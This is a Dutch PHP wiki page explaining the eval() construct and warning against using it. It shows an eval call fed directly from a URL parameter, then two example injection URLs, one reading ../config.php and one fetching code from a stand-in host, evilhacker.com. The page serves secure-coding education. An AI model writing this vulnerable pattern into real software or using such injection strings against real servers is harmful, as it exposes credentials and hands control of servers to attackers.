wiki.phpfreakz.nl
Aanmelden Artikel Overleg Bewerk Geschiedenis Go to the site toolbox

Eval

eval() is een language construct die een string op kan pakken als phpcode en ook uit voert. Dit gebeurt binnen het huidige script.

$a = 1;
$string = '$a++;';
 
eval($string);
echo $a;

bovenstaande code geeft "2" op het scherm. Dit voorbeeld is niet zo zinnig, maar toont in elk geval de werking aan. Veelal zal eval() gebruikt worden, als de opbouw van de code afkomstig is van een externe bron: invoer van de gebruiker, van een database of andere source.

Voorbeeld:

$a = 1;
$string = '$a +='. $_GET['getal'] .';';
 
eval($string);
echo $a;

De uitkomst van bovenstaande code zal nu afhangen van de invoer die de gebruiker in de url geplaatst had. Als hij daar script.php?getal=10 had neergezet, dan is de uitkomst dus 11.

MAAR, we hebben niets gecontroleerd.

Stel nu dat de gebruiker daar neer had gezet:

 script.php?getal=10; echo file_get_contents('../config.php')

dan had hij zo de inhoud van de configfile op het scherm gehad, aangenomen dat die bestaat. Het kan nog erger

Echter:

 script.php?getal=10; file_get_contents('http://evilhacker.com/hackscript.php')

zou het nog erger maken, omdat er dan een hele berg php code op jouw server wordt uitgevoerd. En je weet niet of er 100.000 mails verstuurd worden, je server gehackt wordt, je webshop aangepast wordt: je bent alle controle kwijt.

maar dan controleer ik toch de invoer?

Je kunt inderdaad de invoer controleren, maar afgezien van "bestaat alleen maar uit getallen" is die controle bijna zeker niet waterdicht te krijgen. Je kleinste vergissing kan je server om zeep helpen.

 Daarom: liever niet gebruiken. Er is vast wel een andere oplossing te vinden.


Nadere informatie op http://nl.php.net/eval

waar we quoten:

Keep the following Quote in mind:
If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP

Site Toolbox:

Persoonlijke hulpmiddelen
De laatste wijziging op deze pagina vond plaats op 9 apr 2010 15:53. - Deze pagina werd 946 maal bekeken. - Disclaimers - Over PFZWIKI